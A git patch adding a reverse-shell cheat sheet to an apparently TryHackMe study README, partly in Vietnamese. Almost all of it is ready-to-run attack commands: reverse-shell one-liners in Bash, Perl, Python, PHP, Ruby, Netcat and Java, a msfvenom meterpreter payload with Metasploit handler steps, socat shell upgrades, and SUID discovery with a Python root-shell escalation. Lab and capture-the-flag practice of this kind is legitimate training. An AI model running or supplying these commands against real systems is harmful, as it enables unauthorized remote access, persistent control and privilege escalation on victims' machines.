From 45f8f8abf6e0cfc18a6c488c4fc7ed2d37ab222e Mon Sep 17 00:00:00 2001 From: haudang217 <84620744+haudang217@users.noreply.github.com> Date: Mon, 22 Aug 2022 17:57:11 +0700 Subject: [PATCH] Add some tip --- Tryhackme/Readme | 112 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 111 insertions(+), 1 deletion(-) diff --git a/Tryhackme/Readme b/Tryhackme/Readme index 18dc918..5aafba8 100644 --- a/Tryhackme/Readme +++ b/Tryhackme/Readme @@ -1 +1,111 @@ -This only for study purpose. +------------------------------------------------------------------ +- - +- REVERSE-SHELL CHEAT SHEET (change IP and port when use) - +- - +------------------------------------------------------------------ +* Bash +bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 + +* Perl + perl -e 'use Socket;$i="10.0.0.1"; + $p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S + ,sockaddr_in($p,inet_aton($i)))) + {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh + -i");};' + +* Python + python -c 'import + socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s. + connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); + os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + +* PHP + php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' + +* Ruby + ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i + <&%d >&%d 2>&%d",f,f,f)' + +* Netcat + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f + +* Java + r = Runtime.getRuntime() + p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while + read line; do \$line 2>&5 >&5; done"] as String[]) + p.waitFor() +------------------------------------------------------------------------------------------------------------------ + +TẠO RA MỘT FILE REVERSE-SHELL DÙNG CHO LINUX DỰA TRÊN NỀN TẢN METASPLOIT + +msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o shell.elf +Trong đó: + • msfvenom: Tên câu lệnh + • -p linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết nối sẽ sử dụng + • LHOST và LPORT: Địa chỉ IP và port dùng để nhận shell trên máy Kali của hacker + • -f: Format của dữ liệu đầu ra. Ở đây chọn elf là extension file thực thi của Linux. + • -o: Xuất ra file có tên là shell.elf + +Sử dụng module "exploit/multi/handler" + set LHOST + set LPORT + set PAYLOAD linux/x86/meterpreter/reverse_tcp + exploit + + Sử dụng local_exploit_suggester để tiến hành tìm kiếm lỗ hỗng khi có được reverse_shell. + + +------------------------------------------------------------------------------------------------------------------- + +TẠO RA MỘT WEBSERVER SỬ DỤNG PYTHON + +Python cung cấp module SimpleHTTPServer để biến directory hiện tại thành một webserver cho phép trao đổi file với địa chỉ IP của của máy. +• python2 + python -m SimpleHTTPServer +• python3 + python3 -m http.server +******* Port mặc định nếu không được khai báo là 8000 ****** + +-------------------------------------------------------------------------------------------------------------------- + +UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs + +• using python + python -c 'import pty; pty.spawn("/bin/bash")' +• using socat +#Listener: + socat file:`tty`,raw,echo=0 tcp-listen:4444 +#Victim: + socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 +• using stty options + # In reverse shell + $ python -c 'import pty; pty.spawn("/bin/bash")' + Ctrl-Z + + # In Kali + $ stty raw -echo + $ fg + + # In reverse shell + $ reset + $ export SHELL=bash + $ export TERM=xterm-256color + $ stty rows columns + +---------------------------------------------------------------------------------------------------------------------- + +Tìm một ứng dụng đạng chạy với SUID + find / -perm -u=s -type f 2>/dev/null +Khai thác lỗi với SUID thông qua python + /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")' +Tìm nhiều hơn tại link sau: https://gtfobins.github.io/ + +----------------------------------------------------------------------------------------------------------------------- + + + + + + + +